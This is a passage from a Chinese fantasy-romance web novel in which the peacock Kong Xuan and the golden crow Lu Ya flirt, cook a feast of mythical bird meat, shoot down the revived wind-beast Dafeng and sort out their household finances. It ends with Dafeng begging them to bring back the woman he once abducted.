孔宣难掩矜傲翘起唇角,手臂环抱住男人的身躯,绷紧的肌肉几乎化作野兽将他吞噬。 他愉悦至极:“这就装不下去了吗?” 哈,陆压也不过如此。 太嫩了。 孔宣志得意满,陆压的手顺着他的衣领摸索到他的侧脸,轻轻托起下颚,他静静等待一个吻的馈赠。 却没想到陆压只是轻轻摩挲他的下颚,旋即一只手摩挲到他的后颈,往下顺了顺。 此刻早已满室旖旎,逃脱不了一个足够亲昵的姿态。 孔宣早已做好准备,他主动低下头。 一个淡淡的吻落在孔宣的脸颊。 这与他所想的完全不同,孔宣不可抑制到瞪圆了眼睛,呆滞地望着陆压。 男人眸色暗沉,肌肉隐忍地绷紧弧度,似有野兽要破土而出。 可他最终抽身,将圈住人的手臂抽回,只有一个淡淡的轻柔的吻还留在孔宣的脸颊。 孔宣瞬间满脸绯红,呆呆地捂住脸,兴奋的红晕还晕在眼尾,他又气又急,下意识用手背蹭了蹭脸,支支吾吾说不出一句话。 怎、怎么……? 陆压沉沉凝视着他,目光在孔宣的腰侧转了一圈。 他的目光隐忍又克制,脖间的青筋忍得跳起,恨不得将肆意挑衅的孔宣就地正法。 就这么点细腰,稍微用力点就要折了。 陆压冷眼看着,思绪起伏间忍了又忍,才没有做出过激行为。 他当然算不上什么正人君子。 陆压有更大的图谋:“大王,我算你的什么?” 孔宣满脸的绯色还没褪去,他瞪了眼陆压,这一眼迷离飞红,氤氲着朦胧潋滟的春意,艳红的唇一抿,“嗯嗯”哼唧起来。 陆压再次逼问,这一次陆压威胁般捏了捏孔宣的后颈,嗓音低沉极了:“嗯?” 他又回到了之前的距离,刻意靠近孔宣,两个人鼻尖抵着鼻尖,手臂纠缠在一起,连胸膛也贴着彼此,几乎密不可分。 陆压追问不休,似乎要得到满意的答案才会进行下一步。 他拿亲吻当作奖励,拿真心试探真假,唯恐孔宣一时兴起,不肯自己先抛出所有。 孔宣受不了他的逼问,恨恨地咬在陆压的鼻梁上。 高挺的鼻骨比想象中硬得多,孔宣不知道想到什么,眼神迷离一瞬,哼唧嘀咕:“不见兔子不撒鹰的坏鸦。” 陆压一定要个名分,但孔宣偏不给他。 “坏鸦。”孔宣抱怨着,勾起一缕发丝在手中缠了缠,他睫毛颤动,一脸玩味地笑了起来:“你觉得你算什么?” 他似笑非笑:“你想当我的什么?” “我说你就答应吗?”陆压凝视着他的笑靥。 “当然……”孔宣挑眉,拉长的语调漫不经心,猝然嗤笑出声:“不是。” “看我心情。” 孔宣跳下餐柜,瞳仁转动着斜斜落在陆压身上,他傲气哼声,矜贵地扬起下巴,随手将胸前的发丝甩开。 “不亲就不亲,过时不候。” 像陆压这种小气的坏鸦,他才不给名分呢。 哼~ 孔宣抬着下巴傲气十足地走出厨房,脚步一拐上了楼梯。 直到别人看不见他了,这才像是被羞意烧着般,把脸埋进掌心无声尖叫。 他脸上滚烫,一摸烫得人心里慌慌,满脸的羞赧绯红一片,埋着脑袋,从发丝里露出的耳廓烫得发红,似有两片红晕飞起。 把他烧得心荡神摇、意乱情迷。 坏鸦!!! 好纯情(/////)。 纯情坏鸦只肯给孔宣一个轻飘飘的吻。 目送孔宣出去,陆压久久定在原地不动。 猝然,他浅笑一声,伸手将散落的额发往后缕开,露出隽秀多情的眉眼,眼中的侵/占/欲早已不加掩饰。 他有的是耐心。 陆压神色淡定,没有一丝影响,洗把手继续接着自己没做完的动作开始备菜。 他按之前定好的先把鸡腿肉剁碎,和辣椒配菜放在一起,将翅膀和一部分胸肉丢进砂锅里,加了干菌菇炖汤,剩下半扇肉同样剁碎准备做一份三杯鸡。 把剁好的肉丁清洗几遍,拧干水加上盐、白胡椒粉调味,用拍碎的葱姜泡水给肉丁去腥,将肉丁抓匀,加入玉米淀粉给肉丁上浆,食用油腌制,让肉质更加细嫩。 热油锅加入肉丁翻炒,炒到变色盛出备用,再将姜蒜末翻炒出味,加入辣椒酱和青红椒炒出辣味,鸡丁回锅用料酒呛香,生抽、盐、白糖调味,酱油上色。 酱料一倒下去,顿时锅气弥漫,浓烈的辣香霸道至极,连带着厨房里都是霸道的辣味。 肉丁被炒上色,色泽漂亮诱人,拌进青红辣椒里面,光闻着香味就馋得人直咽口水。 陆压尝了一口,肉丁嫩滑香辣,肉质比鸡更加紧实,咀嚼的过程中,被翻炒出的辣香十分开胃。 直到第一道菜出来,陆压在一楼看了几圈,孔宣都没有下来。 陆压顿时咋舌,皱眉想不会真生气到这个地步,饭都不想吃了? 连忙起锅开始做三杯鸡,使劲浑身解数准备勾引一下贪吃的孔雀大王。 陆压拿出自己的看家本事,快速将半扇鸟肉去骨剁碎,清水加盐清洗掉血水,再往肉里加入盐、胡椒粉、生抽拌匀,用麻油调香。 锅烧热,用偏香的麻油烧热,把肉块倒入煎制,煎到两面金黄,表皮酥脆可口。 这才另起锅用姜蒜炒香,加入洋葱、鸡块,沿着锅边加入他调制的秘制酱料,米酒浇灼,冰糖翻炒上色。 将炒好的肉丁加入砂锅,中火炖煮,用米酒沿着锅沿浇上一圈调香,大火收汁。 盖子一掀,顿时香气肆意,还没有吃就把人馋得口水直流。 陆压撒干罗勒碎的工夫,楼上的孔宣再也忍耐不住,他蹭蹭走下楼,一边走一边忍不住深吸空气中的香气,把他馋得神魂颠倒。 孔宣还没走到一楼,就迫不及待地探出脑袋,看到陆压拿筷子,顿时大喝一声:“大胆!” 孔雀大王还没吃呢! 孔宣连蹦带跳,飞速跑下楼后一下子冲到陆压面前,陆压把筷子递给他,他嗷呜一口,就着陆压的筷子将一块三杯鸡吃进嘴里。 颙鸟肉Q弹滑嫩,肉质紧实,被陆压一顿折腾,入口油香肆意,味道浓郁非凡。 孔宣顿时满脸幸福,已经被美味馋得走不动道,一下子忘记了之前的爱恨情仇,嘴巴蠕动着,贪心地想要再吃亿口。 “大王。”陆压收了筷子,正要让他去外面等着。 突然眼前人影闪过,一个潮湿的亲亲落在他的下巴。 陆压顿时呆滞,他手里的筷子被人抽走,孔宣摇晃着筷尖,矜傲地扬起唇角,傲傲娇娇地快速: “居然用好吃的诱惑我,真是太过分了,陆鸦鸦。” 他哼哼控诉,美滋滋地夹起一块肉丁送进嘴里,极致的美味在味蕾绽放,他顿时笑得眉眼弯弯,欢欣极了。 似乎只是这样就觉得高兴了。 陆压:。 他肌肉紧绷一瞬,难耐地攥紧手指,良久才缓缓说:“锅里还炖着汤……” 孔宣顿时欢呼一声,乱跑带跳地蹦到灶台边,锐利的视线扫过桌面,不怕烫地掀开锅盖。 颙鸟炖出的汤底色泽偏黑,表层浮着菌菇,仔细一闻,淡淡的肉香味混杂在菌菇里。 孔宣动了动鼻子,用大勺子舀起一点,他鼓起嘴巴吹了吹,小小地抿了一口。 顿时眼睛一亮,惊叹:“好喝!” 明明一点香味都没有,色泽也很奇怪,但是喝起来却很清,抿在唇间,口齿留香。 好喝! 陆压就在旁边看着,看着白软的腮帮子微微鼓起,孩子气得吹气。 他等了等,没等到下一个亲亲,只能挑起眉头,确定了孔雀大王撩完就跑。 孔宣的眼睛被美味吸引,连一个眼神都没有移给他。 陆压无奈地去拿碗筷,招呼孔雀大王出去坐着吃。 他把碗筷摆了,三菜一汤摆在中间,正正好十二点吃饭。 一顿全颙宴可把孔雀大王吃美了,他看看这个看看那个,嘴巴里咀嚼着,筷子夹着,眼睛还盯着桌子上的菜。 他猛猛干饭,对于辣炒鸡丁这盘辣菜更是喜欢得不得了。 “我要再吃一碗——” 被美食征服的孔雀大王举着空碗高呼。 正是这个时候,天空突然霹雳一声巨响,大地晃动着,连带着桌子上的碗筷都“叮当”乱响。 所有人下意识把脑袋探出去,窗外明媚亮眼的阳光被厚厚的阴影笼罩,一震一震的震感越演越烈,不间断地摇晃着地壳。 瞬时间天地变色,万物震撼,狂风席卷天地,将一切卷上天空,哗啦啦地砸向人间。 陆压先一步走到门外,孔宣端了饭菜出来,看戏一般与陆压并肩而立。 只见天空昏暗,烈烈狂风似要撕裂所有,狂风席卷着雨珠卷成巨大的龙卷风,从天空轰然降落,将所有的一切笼罩。 世界将破的惨像一瞬间令天地倒转,暴风雨远比所有人预感得来得快速,大颗大颗的雨珠砸在地面。 孔宣抬起眼睛,他的眼睛映着昏暗,透出了一种压抑到极致的阴沉色彩,暗色的醺红铺满整片天空,他猝然眯起眼睛,眼睛转动着精准捕捉到了一个影子。 “大风?”他低声喃喃。 陆压偏头,他还没来得及说话,几声轰鸣砸向地面,雷霆流泻散去噼里啪啦地劈开蛛网般的裂痕。 这还不算完,龙卷风在地面游走着,雷鸣随着龙卷凶猛冲来,犁庭扫穴般无情扫荡地面的一切,吞噬进自身的龙卷风里。 孔宣端出来的菜都被大风刮过来的雨点弄脏了,他顿时胃口全无:“走了,再站在这里小心被卷走。” 他招呼陆压关店回房,陆压眺望越来越近的龙卷风,一错眼的工夫龙卷风从一个分裂成两个,无数道影子被卷进其中,无情卷上高空,再被龙卷风甩开。 陆压:“它好像朝我们这来了。” 这并不是空穴来风。 龙卷风正在以肉眼可见的速度飞快朝他们滚来,摇摇晃晃的绿化带被狂风连根拔起,哗啦啦被风力撕成碎片。 天空晦暗的嘶语如野兽咆哮,飘零在空中,带着即将被撕裂的惊悸,毫无回转地朝他们冲来。 大风越来越近,越来越近……陆压听到龙卷风中心传出的嘶吼声。 它嘶吼着,怒骂着,伴随着剧烈的震动,龙卷风与他们这条街擦肩而过。 就这么错落的一瞬间,路边的绿化带被洗劫一空,停放的汽车被吹得七零八落,无情冲撞到建筑上。 惊恐的尖叫与哭喊瞬间成为了灰暗世界下,唯一鲜明的声音。 陆压提前关了门窗,灾厄发生时他爬上楼顶,手中金光凝结,挺直的身影在风中艰难摇晃,他不退不前,遥遥凝视着巨大的龙卷。 在擦肩而过的一瞬间,他注视到了风云涌动间那一道张扬的身影。 只是这一个瞬间,一支金箭赫然穿透时间与空间和洪流,撕裂狂风,直直地射向风中。 “噗呲——” 箭羽入体的声音隐没在风中。 陆压手指一松,金芒溃散,搭建起来的神弓从他掌心消失。 “射中了吧?” 孔宣揣着手,任由狂风吹动他的衣摆,他自俨然不动。 陆压低眸,似乎在考虑要不要再补一箭:“应该是。” 他们说话间,就见龙卷风停歇一瞬,两团龙卷赫然散开,狂风消失匿迹,无数看不清的影子哗啦啦从空中砸落。 这其中,一个遮天蔽日的身影赫然转头,精准瞥向他们。 孔宣将手放在额头眺望远方,见此“啊哦”一声:“它看到我们了。” 他嘴上这么说,表情一点也不害怕,语气里甚至带着蠢蠢欲动的趣味。 “陆鸦鸦,告诉你一个小知识,我们神兽之间,按规矩是不能随随便便攻击对方的。” “但是呢。”孔宣按下陆压再补一箭的手,他肆意地挑起眉,脸上的笑张扬极了。 “如果你看对方不爽,只要打不死,就是你的本事了。” 孔宣歪过脑袋,他几乎与陆压肩颈纠缠,笑意吞吐间嗓漫的语调轻快至极。 他与陆压合拉一张长弓,青色与金色交织,华丽的羽箭张扬出极为绚丽的光彩。 光彩散落在眉眼间,陆压的目光短暂地落在孔宣的侧脸,那侧脸的轮廓张扬秾烈,嘴角勾起的笑容诡谲恣意。 陆压手指收紧,长弓拉开。 瞬间,巨大的吸力将周围的灵气吸尽。 沉沉乌云压迫向地面,一片混乱与残破的乱局中,金色的箭羽对准天空。 怪鸟张开翅膀,巨大的翅膀几乎遮天蔽日,双翅一扇狂风大作。 “孔雀!金乌!” 它厉声嘶吼:“你们胆敢拦我!” 第49章 第49章全颙宴4 青白的金箭…… 青白的金箭直直贯穿恒宇, 遮天蔽日的阴影瞬间从天空坠落。 “孔雀!金乌!” 大风口中嘶吼着,被金箭钉在地上,他疯狂挣扎,嘶哑的嗓音飘零撕扯, 一通狂叫之后, 喋喋不休地骂起了孔雀骂起了金乌。 “孔雀!我又没有披着一身比你漂亮的羽毛在你面前炫耀, 也没有勾搭你看中的雄鸟,你闲得没事干找我麻烦!” “金乌, 老子都说了我和孔雀没关系,没关系!老子是他亲戚影响不了你追他!听不懂鸟话就去洗洗耳朵。” “你们俩真是够了!我急着去复仇, 真没功夫陪你们闹了!” 深深凹陷的地坑里,逶迤长翅的大鸟骂骂咧咧。 大鸟外形凤鸟,一双翅膀张开足有身体的四倍长,身材高大,嗓音嘶哑, 一双鹰眼凶厉暴虐。 他一边挣扎一边骂骂咧咧,脑袋一抬, 赫然与头上露出的两个脑袋对上了视线。 是孔雀与金乌。 孔宣敛起眼尾, 玩味地朝大风勾了勾手指:“来,跟我说说金乌找你麻烦的事。” 他神采飞扬, 似乎听到了什么感兴趣的事, 眼角眉梢染上稀碎笑意,尾音愉悦地在空中打了几个卷, 高兴到忍不住弹舌。 大风:“……丧心病狂的雄鸟恋,你尾巴都要开花了喂!” 见色忘友的家伙。 大风不耐烦地扇扇翅膀:“先给老子把箭拔了!” “你们两夫唱夫随,让我受苦是吧!” 大风嘴巴说个没停,不是控诉孔宣见色忘友, 就是控诉这两个人夫唱夫随找他麻烦。 他说来说去都没说到孔宣想听的,孔宣不耐烦了,他盯着大风,神色晦暗不明:“你是怎么活过来的?” 大风震怒:“你才死了呢!” “老子没话和你说,快把箭给我拔了,我要去讨情债。他娘的,那女人居然敢背刺我,看我不把她捉回窝一顿教训,不给我揣崽这辈子别想出来……” 大风骂骂咧咧,等不到孔宣帮忙,自己歪着脑袋用喙嘴去拔羽箭。 羽箭沾着金色的血液,如一根长钉死死钉在大风的翅膀上。 大风又是一顿好骂:“金乌你脑子锈了,我哪招惹你了,你还拔羽毛射我,下这种狠手还是不是兄弟!” “可是,大风。”孔宣缓缓开口,眼睛微微眯起,一字一句道:“你早就已经死了。” 努力给自己拔箭的大风动作一顿,他歪过脑袋,眼睛里清晰倒映出孔宣探头观望的身影。 他还是以前的样子,只是身上穿着怪模怪样的衣服,就连总是一副道君打扮的金乌都绞了长发换了一身古怪装扮。 孔宣眉眼弯弯,用平淡无奇的语调轻声说:“你早就死了一千多年了。” “当年你死的时候是鲲鹏去给你收的尸,听说是你掳走了别人家的女儿,人家不肯屈服你,用祖传的金剪捅破了你的心脏。” “大风,你早就已经死了。” 孔宣的声音从高处传来,落在大风的耳朵里,只剩下一片混乱的嗡鸣声。 不停挣扎的大风停住了,他喃喃自语:“我死了?” “我死了?我死了?”他不停诘问,一句一句透着不可置信,旋即用更加疯狂的力气挣扎起来。 “你骗我!是那个女人想让我不要去找她,我呸,我们拜堂成亲我就是她男人,想摆脱我想得美!娘子,娘子我马上要来找你了——” 大风振振有词,翅膀一振,居然用喙嘴撕裂了自己的翅膀。 他拖拽着翅膀,踉跄地飞上天空,一边起飞一边坠落,摇摇欲坠地追寻一个方向而去。 孔宣跳进深坑里,他将金箭点化为一片缠绕着青光的金羽,宝贝地塞进衣服口袋里。 “下次可不许随便拔羽毛了。”他叮嘱陆压。 嘴巴里念念有词:“拔太多斑秃怎么办?漂亮小鸟怎么可以斑秃!” “……” 陆压拉着他的手,稍稍一用力,一把捞着他的腰把他从坑里捞了上来,顺便给爱漂亮的孔雀大王拍拍衣服上的灰。 陆压帮他整理衣摆,一边拍灰一边问:“就这么把他放走没问题吗?” 他往大风离开的方向看了一眼,大风飞走的时候没有出现的时候恐怖,或许是伤了半边翅膀,再也掀不起风浪。 孔宣歪了下脑袋,一点也不在乎大风的死活。 “鸦,我觉得你应该有更重要的事要关心。” 他抚了抚发尾,漫不经心地朝陆压斜睨一眼,这一眼意味深长极了:“大风可是和帝江一样‘死而复生’。” 消失的神山再次出现,死去的神兽也再次复活。 孔宣又忍不住朝大风离开的方向看了一眼,他的母亲和弟弟又会在什么时候回到他的身边呢? 还有陆压的家人…… “放心吧,死不了,他能被凡人弄死,是因为那把金剪是一柄双蛟剪,这家伙把猎妖司的人掳走拜堂,不管不顾要娶媳妇。” 陆压低垂着眼睛不知道在想什么,孔宣安慰了一句,比起安慰,更像是幸灾乐祸。 “我不担心这个。”陆压抬眸:“我在想,有没有可能早就开始了呢?” 孔宣懵了一瞬:“什么?” 陆压伸出手,拉着孔宣的手往回走,他一边走一边沉思:“大王,有没有可能,灵气复苏早就开始了。” 公认的灵气复苏是从第一座神山出现开始,灵气呈现大幅度的回升。 灵气复苏的定义是灵气上升的分界线,但按照玄学的角度来说,一个几十年的大运过渡到另一个大运的时候,会有好几年的运势转变期,并不是前一年运势低谷,在第二年就能凭借大运起飞。 运势转变是缓慢而无声的,等真正到来的时刻,才能察觉到它的存在。 或许不是每一座神山都沉入了地下,有些山脉经过千万年的变化早已被人类改造,变得面目全非。 而不被人力观测的“死而复生”,或许早就有了。 陆压看了孔宣一眼。 孔宣也在思考:“你的意思是,我也是‘死而复生’?” 好有道理! 孔宣不停思考,他在思考自己真的死过一回吗? 他将自己埋进深山洞窟,闭上眼睛陷入沉眠的那一刻,他是否就已经死去了呢? 孔宣的脸上又露出那种荒谬到极致的空白,似乎已经无法完整思考下去了。 “管它生生死死,至少我现在就是活的。” 孔宣一把抛开这些复杂的问题,他扑到陆压身上,一头撞了过去。 陆压吃痛,错愕一瞬,就见孔宣脸上绽开稀碎的笑意,歪过头笑容毫无阴霾。 “陆鸦鸦,你也不要去思考这些了,再思考下去就要变老头了。” 孔宣伸手戳了戳他的眉心,张扬地挑起眉,似乎他的脸上从不会出现纠结苦恼的表情。 他不许陆鸦鸦再去想这些复杂的问题,这些事情,一点都不重要! 陆压怔了一下:“那什么事重要?” 重要的当然是! 孔宣张嘴要说,话到嘴边,他眼睛一转,狡黠地转过脑袋:“不告诉你——” 他背着手,脚步轻快极了,调皮地踩过工整的砖石,从背影都能让人感觉出他的愉悦。 是因为……金乌吗? 陆压忍不住想。 金乌。 神鸟们之间习惯用种族来称呼彼此,称呼陆压也是一样的。 然而大风口中有另一只金乌。 那只金乌与孔宣夫唱夫随,与孔宣有过他所不知道的故事。 一提到他,漂亮的孔雀大王眼睛都亮了。 陆压猝然撩起眼皮,无声冷笑一声。 活人是打不过死人,这只金乌最好活过来,就看谁争得过谁。 陆压与孔宣回到店里,一路上,出来看情况的路人聚在门口小声议论着这突如其来的龙卷风,他们议论纷纷,还有人举起手机展示自己拍的恐惧视频。 “我就说嘛,这根本就不正常,哪个龙卷风突然就登陆的,一点征兆都没有,看我录的视频,龙卷风里真的有一个妖怪!” “真的啊!真的有一个影子!” “电视剧里都演了,道行高的妖怪就是会呼风唤雨,你们别不信啊。” “万一是哪个道友在这里修仙渡劫呢?妖怪都有了,修仙还不简单?” …… 孔宣听了一耳朵,回头跟陆压调笑:“那些人类就是喜欢长生,做梦都想修仙呢。” “人总是对自己没有的东西抱有幻想。”陆压说。 他用手推开玻璃门,让孔宣先进去,自己后进去。 就这么一错眼的工夫,孔宣鼓了鼓嘴巴:“人类也是长命种。” 比他们当然不够,但对于没开化的动物来说,人类同样也是长命种。 人类和动物在原初生灵眼中并没有什么区别,人类只是过于聪明的两脚兽而已,但当他们和其他动物一样修炼,他们就不再是完全的人类。 就像未开化的动物和妖是两种物种,没有修炼的人类和修炼的人类也是两种物种。 动物修炼成为妖,人类修炼成为仙。 本质上,仙和妖是一种东西。 或者说是人类一厢情愿的划分,其实并没有什么不同。 “可还是不够长……” 陆压的声音太低,孔宣歪头:“什么?” 陆压似乎笑了一下,推着孔宣的肩膀往里面走,语气轻松:“走了大王,不要站在门口罚站。” 孔宣扁了下嘴,气呼呼地哼声。 陆压打开电视,风雨过后,小楼外又掀起了喧闹的人声,电视新闻的声音盖住了一点杂音,取而代之的是认真严谨的播音腔。 新闻又在说妖族的事。 孔宣听了一会儿,忍不住打了一个哈欠,困倦地垂着眼睛。 “鸦鸦,我要去睡觉。”他揉了揉眼,困得眼睛都睁不开,含含糊糊地发声。 孔宣上了楼,换了身衣服把自己摔进床铺里,就这么一个动作,他似乎清醒了一点,抱着枕头想到了大风的话。 顿时忍不住翘起唇角,瞬间兴奋的情绪占据上风,他欢快地在床上滚了滚,把脸埋进杯子里蹭了蹭。 孔宣忍不住窃笑,撑着下巴装模作样地点了点头,想到金乌总是一脸冷淡的模样,嘴角疯狂上扬。 他拨弄着头发,将细细的发丝缠绕在指尖,他缠了一圈又一圈,半嗔怪半调笑地抱怨:“一本正经的陆鸦鸦~” 哎呀,在他面前装得一本正经,结果背地里偷偷摸摸去威胁大风。 这种和他有亲戚关系的暴躁雄鸟有什么好的?真是太小看孔雀大王的眼光了。 孔宣抱怨着,忍不住捂住脸颊,滚烫的绯红染上皮肤,将双颊醺得滚烫。 他目光迷离一瞬,一头栽倒在床上,无声滚了滚,兴奋地直蹬腿。 “咚咚”三下敲门声响起,孔宣脑袋一抬,就见陆压推门。 陆压换了一身衣服,穿着宽松的老旧背心,手里端着一盘水果。 他的视线在孔宣乱糟糟的头发上转了一圈,青年唇红肤白,躺在床上像是有玉石倾倒,淡淡的青色在皮肤上蜿蜒,透出一点血色格外勾人。 陆压顿了一会,才状似不经意地收回视线,举了举手里的盘子: “吃吗?” 孔宣立刻翻身坐起:“吃!” 他盘腿坐在床上,抱着碗一勺一口水果,眼神轻飘飘地飞向陆压。 “大王。” 陆压在孔宣身边坐下,孔宣飞速扬眉。 陆压另一只手里还有一本账本,他有记账的习惯,手里拿着本子一本正经地跟孔宣说:“我们来清一下最近的开销。” 孔宣:? 陆压打开本子,在孔宣控诉的目光中慢条斯理地翻页。 “首先,是每个月的贷款,我申请提前还款,留下一部分本金慢慢还……”他换算了一下,“大概每个月留五百块的贷款。” 孔宣歪过脑袋:“钱不够?” 不应该啊? 他上一单前前后后赚了七百万,七百万还不够买这个小院子的吗? 七百万孔宣手里没留,他一分不少给了陆压,自己吃住用都是陆压买单。 陆压手指一顿:“也不是。” “那就都还了。”孔宣不假思索。 在孔雀大王的字典里,还没有欠债买房的概念。 绝不允许陆鸦鸦过得这么惨! 孔雀大王把养鸦当成大事,立刻支棱起胸膛,大声哗哗:“不许欠钱!” 他眼睛圆睁,圆溜溜地盯着陆压,一副超级霸道的模样。 陆压想要解释这种经济问题,他把眼睛一眯,立刻叉腰凶巴巴地重申:“不许欠钱!” “我会想办法的!” 孔雀大王的人脉又要开始发挥作用了! 孔宣气呼呼地攥起拳头,用力在空中挥了挥,表示自己会努力的! 陆鸦鸦就要靠孔雀大王罩着了! 陆压只好把这话题暂时略过,他“嗯”了一声,翻到下一页:“这几页是这段时间的伙食以及日用品……” 他指着其中一页,空白的预算摆在那里,陆压表示:“我申请给大王多买几件漂亮衣服。” 孔宣一摆手:“准。” “再申请买几件家具。” “可以。” “再申请一笔钱。” 孔宣刚要点头,突然警惕地支棱起脑袋:“要钱干什么?” “过户。”陆压顿了顿,重点解释:“把大王的名字加到房本上。” 他打算把房子过户给大王,然后再把自己的户口迁到房本上。 这实在是有点多此一举,但这么做的目的在于,让两个人的名字出现在一本本子上。 陆压暗戳戳的小心机没有人知道,孔宣思考了一会儿,突然眼睛一亮。 “就是说我要有房子了?” 他眼神期待,见陆压点头,顿时欢呼一声。 “那我要首都的房子。” 然后孔雀大王又变成京圈孔雀了! 陆压:“……” 要是几百年后迁首都怎么办? 他将本子合上,安安静静地笑了一下:“大王,你是想在这里住还是去首都住?” 孔宣一脸莫名:“我去那里住干嘛?你要搬家吗?” 懂了,大王只是想要一个京圈户口。 有点难,但是问题不大。 陆压思考过后,头一点答应下来:“等过一段时间。” 孔宣将他手里的账本拿到手里,里面的支出都很平常,孔宣摇晃着本子,朝他挑眉:“你要先攒一段时间钱吗?” “攒钱……”陆压失笑:“大王,我也是有点私房钱的。” 虽然没有大王挣钱那么快。 孔宣哼哼两声:“贫穷鸦。” 他们住的小楼大概是570万,付了百分之三十多首付,把贷款全部还完还剩下不到三百万。 陆压凑了个整,把三百万整整齐齐地打给了孔宣。 “大王是一家之主,只要给我发点零用钱就好了。”陆压对孔宣一阵吹捧。 原本不想收这个钱的孔雀大王顿时被吹得找不着北了,哼哼两声,得意得不行。 现在的一家之主,孔雀大王可顾不上计较陆压的私房钱,大发慈悲决定给陆鸦鸦留下一点面子,放过他藏私房钱的事了。 “你以后要用钱,记得跟我打申请哦。”孔宣一本正经的叮嘱他,按捺不住翘起的唇角,止不住地叭叭:“我可大方了,给你发好多好多钱!” 一家之主孔雀大王还收缴了陆压的账本,装模作样地说:“以后家里的账就归我管了!” 一家之主,就是要有这个本事! 陆压失笑:“好的大王,没问题大王。” 孔宣被哄得心花怒放,连吃了几口水果也压不下翘起的唇角。 他装模作样地咳嗽两声,脸上似笑非笑的表情隐忍不住,还是没忍住明目张胆地翘起唇角。 可见是真的高兴。 陆压的眼神在他脸上转了一圈,低声说:“我出去了,大王睡觉吧。” 他把玻璃碗拿走,又将被子扯开盖在孔宣身上。 孔宣脑袋一歪,滚进被子里,敷衍地“嗯嗯”两声:“睡!睡!就睡了!” 他把脑袋一蒙,装模作样地打起小呼噜。 等陆压走出去了,才一把拉下被子,忍不住窃笑出声。 大风出现的事被陆压分别上报给了安全局和妖管局,作为一个备受招揽的局外人,陆压的行为得到了两笔奖金。 陆压拿着钱直接请孔雀大王出门吃海鲜自助。 孔宣吃了一肚子海参、鲍鱼、大龙虾,忍不住回味里面特色章鱼肉,走回来的路上还买了两根章鱼须。 他咬着一条触须,柔韧异常的肉在口中咀嚼,路边摊错乱的光影落在他的眉眼,他漫不经心,眼睛随意地瞥向周围。 明明是很厉害的妖神,此刻却和陆压融入人间,身上沾满了人堆里混出来的人味。 陆压和孔宣沿着路边散步,路边的灯光不够明亮,远离了路边摊的灯光,以至于很长一段路都陷入昏暗中。 他的视线却忍不住落在孔宣身上,看卷翘的睫毛,看微微鼓动的腮帮子…… 是睫毛漂亮,眼睛漂亮,脸蛋漂亮,哪哪都漂亮,哪哪都顺心。 他凝视着孔宣,眼神像是凝视着一段雪白飘渺的月光。 “大王。”陆压忍不住出声。 孔宣睨了一个眼神过去。 陆压顿了一会,才继续说:“……你会回不周山吗?” 你会为我留在人间吗? 陆压神色复杂,他不敢去看孔宣的表情,黑暗似乎也在瞬间分割了他们。 但下一秒,有人轻笑出声。 孔宣主动上前牵住了他的手。 “为什么要问这个问题?”孔宣扬眉,他笑意盎然,手上还拿着烧烤的竹签子,淡淡的炭火香从他身上传来。 他离陆压很近了,声音也跟着亲/密起来。 “很没有意义诶。”孔宣嘟囔着,戳了戳陆压的掌心:“鸦,当然是你去哪我去哪了呀。” 他神色张扬,脸上的笑容容光明亮,抬眉一瞥,似乎有星星碎在他的眼睛里,像一只善于蛊惑人心的妖精。 只是这样一说,陆压就信了。 他愿意相信。 他猝然抬起眼睛,朝孔宣浅笑起来,无声攥紧了他的手。 像是誓言,又像是笃定,郑重地点了点头。 “好。” 两个人安静地走了一段路,顺着夜市的街道走回小店。 彼时星光璀璨,满天星子铺满画布,他们行走在月与灯的夜里,讨论今天买的烤串好不好吃。 直到一个拐弯,一个人影团在他们店门口。 孔宣顿时笑了:“怎么,你终于信我说的了?” 人影抬起头,露出一张凶厉霸气的脸,粗长的眉头狠狠拧在一起,嘶哑开口:“一千多年……我找不到她了,孔雀,我是真的喜欢她……” 他声音哽咽,高大壮硕的身躯团成一团,从牙缝里挤出几声不甘:“你得帮我,孔雀。” 第50章 第50章蛋炒九穗米 “帮你?”孔…… “帮你?”孔宣叼着章鱼须, 他揣着手胳膊自然地与陆压碰在一起。 他挑起眉,腮帮子咀嚼时忍不住发出一声嗤笑:“我怎么帮你?” “千年已逝,我既不能帮你回到过去,也没办法帮你复活千年前死去的人。” 要是他真有这个本事, 孔宣歪过脑袋, 眼神睨了一眼旁边一无所知的陆压。 孔宣心想, 他第一件事就是回到过去,狠狠揍陆鸦鸦这个混蛋家伙! “大风。”风吹动孔宣的衣摆, 将寂寥的发丝吹乱模糊的昏暗月夜下,孔宣淡淡开口:“向前看吧, 兄弟。” “向前看?”大风忍了又忍,终于忍不住从牙缝里挤出一声冷笑。 “无缘无故来到千年后,我的人生、我所认识的一切……全都没了,没了!” 他忍不住质问出声,从牙缝里挤出的怨怼化作无力地哽咽, 他呼吸急促,英俊凶厉的眉眼似乎极为痛苦地皱成一团, 大口大口地呼吸起来。 “你要帮我、你要帮我……” 他几乎呼吸不过来, 只能勉强挤出几个简短的字句,看起来很凶悍干练的人, 此刻在台阶上团成一团。 大风言语混乱, 一双手死死扣进石阶上,十根手指几乎要掰出血来。 孔宣情不自禁发问:“我要怎么帮你?” 大风此刻埋着头, 焉头焉脑地团成一团,他喉咙滚动,才从哽咽中挤出几个字:“通灵,还魂。” 他要他的老婆! 人死之后会化作鬼魂前往地府, 活人去地府前路渺茫,但世间也有不少宝贝,可以通灵问鬼,至于让死人还魂,对于他们来说更是简单。 大风抬起头,一双眼睛锐利凶悍,带着十足的不甘,咬牙切齿地说:“我要把她拉回来!” “我们拜堂成亲了,人类不是说了吗?嫁鸡随鸡嫁狗随狗,她生是我的人,死是我的鬼,就算是死——” 就算是死,也别想摆脱他! 大风面容扭曲,此刻痛苦到了极致,更是口出狂言。 “你不是在做什么生意吗?我听朱雀说了,你帮毕方治好了腿!你帮我通灵还魂,我付出代价,你想要什么都可以。” 这话可太狂傲了。 大风狂傲的性格很对孔宣的胃口,他嚼了嚼腮帮子,柔韧的章鱼须在口中咀嚼。 他正在思考。 陆压不知道孔宣会怎么决定,他垂着眼看着大风,冷静而锐利地陈述:“可是你也没有问过那个被你掳走的女孩她是怎么想的。” 那个被掳走的,据说是猎妖司出身的女孩,被掳走之后凭借自己的聪明才智杀死了大风,成功逃离。 她根本就不喜欢大风。 一厢情愿强迫来的感情,现在大风又希望孔宣帮他继续作恶? 陆压无声攥紧了孔宣的手臂,他视线偏转,似乎早已打定主意阻止这场交易。 大风急声呵斥:“你放屁!” “感情的事你这种搞雄鸟恋的怎么搞得懂!我们拜堂成亲了!” 说起拜堂成亲,大风顿时感觉自己支棱起来,和陆压和孔宣这种拉拉扯扯没个结果的痴情鸟就是不同。 如果感情有等级,那他已经迈上最高一级了! “哈,雄鸟恋怎么你了?” 